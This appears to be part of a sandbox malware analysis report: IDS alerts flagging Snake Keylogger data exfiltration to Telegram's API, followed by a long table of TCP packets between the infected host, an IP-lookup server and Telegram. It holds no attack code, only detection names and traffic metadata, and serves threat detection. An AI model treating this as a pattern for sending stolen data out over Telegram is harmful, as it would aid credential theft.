2025-01-10T21:42:00.709410+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T21:42:02.832012+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T21:42:03.304992+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T21:42:04.799457+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T21:42:05.344060+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T21:42:07.009354+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T21:42:07.250403+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T21:42:09.621156+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T21:42:09.956106+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T21:42:11.534767+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T21:42:11.868333+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T21:42:13.132415+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	50035	132.226.8.169	80	TCP
2025-01-10T21:42:13.713057+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T21:42:13.974062+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T21:42:15.429818+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T21:42:15.775576+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T21:42:17.260407+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T21:42:17.647059+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T21:42:20.136836+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T21:42:20.575719+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T21:42:24.950422+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T21:42:25.228901+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50044	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:41:01.937985897 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:01.938039064 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:01.938168049 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:01.953969002 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:01.953993082 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:02.617229939 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:02.617465973 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:02.618026018 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:02.618311882 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:02.812295914 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:02.812346935 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:02.812716961 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:02.813059092 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:02.828888893 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:02.871325970 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:04.055772066 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:04.055896044 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:04.055911064 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:04.055968046 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:04.057316065 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:04.057358980 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:04.057463884 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:04.080507994 CET	49709	443	192.168.2.9	142.250.181.238
Jan 10, 2025 21:41:04.080528021 CET	443	49709	142.250.181.238	192.168.2.9
Jan 10, 2025 21:41:04.119744062 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:04.119796991 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:04.120126009 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:04.120274067 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:04.120285988 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:04.765955925 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:04.766060114 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:04.770020962 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:04.770035982 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:04.770297050 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:04.770354986 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:04.770710945 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:04.811327934 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.186510086 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.186661005 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.192502975 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.192679882 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.204996109 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.205060959 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.205081940 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.205548048 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.211057901 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.211098909 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.286135912 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.286201000 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.286228895 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.286267042 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.286303043 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.286350012 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.286350012 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.286564112 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.286637068 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.286670923 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.286670923 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.286678076 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.287350893 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.288539886 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.288757086 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.288774967 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.288858891 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.296926022 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.299335003 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.299344063 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.301632881 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.314791918 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.315342903 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.315354109 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.316736937 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.321120024 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.321166992 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.321181059 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.321218014 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.322712898 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.322752953 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.322799921 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.322848082 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.324325085 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.324382067 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.324402094 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.324465990 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.325314045 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.325361967 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.325366974 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.325397968 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.331069946 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.331137896 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.331152916 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.331188917 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.336972952 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.337030888 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.339725971 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.339796066 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.342830896 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.342884064 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.363629103 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.363734961 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.363746881 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.363779068 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.363792896 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.363832951 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.363898993 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.363939047 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.364245892 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.364288092 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.364326000 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.364367008 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.364602089 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.364645958 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.368122101 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.368180037 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.368196011 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.368236065 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.368266106 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.368307114 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.373720884 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.373791933 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.373812914 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.373867989 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.379102945 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.379158020 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.379179955 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.379225016 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.384011984 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.384073019 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.384088039 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.384135008 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.389013052 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.389091015 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.389103889 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.389156103 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.393640041 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.393692017 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.393744946 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.393791914 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.398317099 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.398374081 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.398391962 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.398433924 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.403152943 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.403245926 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.403357983 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.403409958 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.407676935 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.407731056 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.407754898 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.407792091 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.412354946 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.412425041 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.412444115 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.412486076 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.416907072 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.416969061 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.416975975 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.417016029 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.421677113 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.421756029 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.421773911 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.421813965 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.425834894 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.425894022 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.425914049 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.425956011 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.425995111 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.426034927 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.426134109 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.426177025 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.426218033 CET	443	49710	142.250.181.225	192.168.2.9
Jan 10, 2025 21:41:07.426233053 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.426270008 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:07.426315069 CET	49710	443	192.168.2.9	142.250.181.225
Jan 10, 2025 21:41:08.044780970 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:08.049757957 CET	80	49711	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:08.049891949 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:08.050080061 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:08.054884911 CET	80	49711	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:10.179828882 CET	80	49711	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:10.190351009 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:10.195159912 CET	80	49711	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:10.627417088 CET	80	49711	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:10.679332018 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:10.906347036 CET	49713	443	192.168.2.9	104.21.48.1
Jan 10, 2025 21:41:10.906404018 CET	443	49713	104.21.48.1	192.168.2.9
Jan 10, 2025 21:41:10.906478882 CET	49713	443	192.168.2.9	104.21.48.1
Jan 10, 2025 21:41:10.908660889 CET	49713	443	192.168.2.9	104.21.48.1
Jan 10, 2025 21:41:10.908683062 CET	443	49713	104.21.48.1	192.168.2.9
Jan 10, 2025 21:41:11.399089098 CET	443	49713	104.21.48.1	192.168.2.9
Jan 10, 2025 21:41:11.399239063 CET	49713	443	192.168.2.9	104.21.48.1
Jan 10, 2025 21:41:11.402688026 CET	49713	443	192.168.2.9	104.21.48.1
Jan 10, 2025 21:41:11.402704000 CET	443	49713	104.21.48.1	192.168.2.9
Jan 10, 2025 21:41:11.403482914 CET	443	49713	104.21.48.1	192.168.2.9
Jan 10, 2025 21:41:11.407344103 CET	49713	443	192.168.2.9	104.21.48.1
Jan 10, 2025 21:41:11.451335907 CET	443	49713	104.21.48.1	192.168.2.9
Jan 10, 2025 21:41:11.538594961 CET	443	49713	104.21.48.1	192.168.2.9
Jan 10, 2025 21:41:11.538665056 CET	443	49713	104.21.48.1	192.168.2.9
Jan 10, 2025 21:41:11.538783073 CET	49713	443	192.168.2.9	104.21.48.1
Jan 10, 2025 21:41:11.544281960 CET	49713	443	192.168.2.9	104.21.48.1
Jan 10, 2025 21:41:17.038228035 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:17.042984962 CET	80	49711	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:17.319858074 CET	80	49711	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:17.331320047 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:17.331356049 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:17.331612110 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:17.332081079 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:17.332097054 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:17.366601944 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:17.951756954 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:17.951870918 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:17.953694105 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:17.953710079 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:17.953993082 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:17.955419064 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:17.999335051 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:17.999440908 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:17.999454021 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:18.295738935 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:18.295828104 CET	443	49740	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:18.295908928 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:18.299653053 CET	49740	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:18.713794947 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:18.715055943 CET	49750	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:18.718931913 CET	80	49711	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:18.720299006 CET	49711	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:18.720726967 CET	80	49750	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:18.720794916 CET	49750	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:18.720920086 CET	49750	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:18.726452112 CET	80	49750	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:19.564111948 CET	80	49750	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:19.565737963 CET	49757	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:19.565789938 CET	443	49757	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:19.565887928 CET	49757	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:19.566651106 CET	49757	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:19.566668987 CET	443	49757	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:19.616728067 CET	49750	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:20.219285965 CET	443	49757	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:20.221435070 CET	49757	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:20.221447945 CET	443	49757	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:20.221560001 CET	49757	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:20.221565008 CET	443	49757	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:20.550263882 CET	443	49757	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:20.550337076 CET	443	49757	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:20.550425053 CET	49757	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:20.550838947 CET	49757	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:20.555567026 CET	49763	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:20.560374022 CET	80	49763	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:20.560465097 CET	49763	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:20.560574055 CET	49763	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:20.565305948 CET	80	49763	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:21.444427967 CET	80	49763	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:21.445830107 CET	49769	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:21.445873022 CET	443	49769	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:21.446079016 CET	49769	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:21.446273088 CET	49769	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:21.446289062 CET	443	49769	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:21.491581917 CET	49763	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:22.078156948 CET	443	49769	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:22.080153942 CET	49769	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:22.080173016 CET	443	49769	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:22.080234051 CET	49769	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:22.080245018 CET	443	49769	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:22.414050102 CET	443	49769	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:22.414130926 CET	443	49769	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:22.414247036 CET	49769	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:22.414664984 CET	49769	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:22.417933941 CET	49763	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:22.418999910 CET	49775	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:22.422847033 CET	80	49763	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:22.422914028 CET	49763	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:22.423794985 CET	80	49775	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:22.423856020 CET	49775	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:22.423968077 CET	49775	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:22.428770065 CET	80	49775	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:23.232569933 CET	80	49775	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:23.233839989 CET	49782	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:23.233870983 CET	443	49782	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:23.233943939 CET	49782	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:23.234240055 CET	49782	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:23.234255075 CET	443	49782	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:23.272840977 CET	49775	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:23.899389029 CET	443	49782	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:23.901273966 CET	49782	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:23.901288986 CET	443	49782	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:23.902337074 CET	49782	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:23.902343988 CET	443	49782	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:24.243213892 CET	443	49782	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:24.243298054 CET	443	49782	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:24.243403912 CET	49782	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:24.244899988 CET	49782	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:24.246926069 CET	49775	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:24.247972965 CET	49792	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:24.251889944 CET	80	49775	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:24.251981020 CET	49775	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:24.252816916 CET	80	49792	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:24.252924919 CET	49792	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:24.253156900 CET	49792	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:24.257958889 CET	80	49792	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:25.113312006 CET	80	49792	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:25.115000963 CET	49798	443	192.168.2.9	149.154.167.220
